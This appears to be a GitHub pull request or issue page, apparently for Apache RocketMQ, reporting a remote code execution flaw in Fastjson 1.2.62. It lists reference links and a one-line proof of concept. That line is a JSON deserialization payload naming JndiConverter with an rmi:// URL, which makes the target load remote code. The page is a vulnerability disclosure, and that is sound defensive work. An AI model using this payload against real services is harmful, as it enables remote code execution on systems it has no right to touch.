Fastjson has a serious security problem in 1.2.62,which will cause RCE #923
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Fastjson has a serious security problem in 1.2.62,which will cause RCE
https://github.com/apache/rocketmq/blob/cdb494c4dcef45c506d79bfdbe727e319cdce681/remoting/src/main/java/org/apache/rocketmq/remoting/protocol/RemotingSerializable.java
https://www.anquanke.com/post/id/199527
https://www.cnblogs.com/tr1ple/p/12348886.html
https://github.com/jas502n/fastjson-1.2.58-rce
POC
String text1 = "{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi:https://127.0.0.1:1099/exploit"}";